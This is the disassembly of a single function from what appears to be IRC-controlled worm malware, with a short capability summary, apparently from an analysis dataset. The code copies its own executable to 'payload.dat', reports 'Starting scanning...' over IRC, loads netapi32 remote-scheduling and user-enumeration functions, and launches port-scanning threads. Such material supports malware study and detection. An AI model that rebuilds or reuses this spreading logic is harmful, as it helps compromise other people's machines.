Function at 0x40d1e7
Capabilities:
Copy file
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x4214d7
mov dword [esp], str.payload.dat
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d220
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
jmp 0x40d266
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0
mov dword [esp + 4], str.payload.dat
lea eax, [ebp - 0x11c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
test eax, eax
je 0x40d296
mov eax, dword [ebp - 0x10]
lea edx, [eax + 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Starting_scanning...
mov dword [esp], eax
call sym._privmsg
mov dword [esp], str.netapi32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40d2ba
mov eax, 0
jmp 0x40d42a
mov dword [esp + 4], str.NetScheduleJobAdd
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469870], eax
mov dword [esp + 4], str.NetApiBufferFree
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469874], eax
mov dword [esp + 4], str.NetRemoteTOD
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469878], eax
mov dword [esp + 4], str.NetUserEnum
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x46987c], eax
mov eax, dword [0x469870]
test eax, eax
je 0x40d352
mov eax, dword [0x469874]
test eax, eax
je 0x40d352
mov eax, dword [0x469878]
test eax, eax
je 0x40d352
mov eax, dword [0x46987c]
test eax, eax
jne 0x40d36c
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 0
jmp 0x40d42a
mov eax, dword [ebp - 0x10]
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], 0x42a2e4
call sym._strcpy
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sym._srand
mov dword [0x4697c0], 1
mov dword [ebp - 0xc], 0
jmp 0x40d3e1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._PortScanner_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jb 0x40d3a4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
imul eax, eax, 0xea60
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [0x4697c0], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
imul eax, eax, 0x318
add eax, 0x461d0c
mov dword [eax], 0
mov eax, 0
leave
ret 4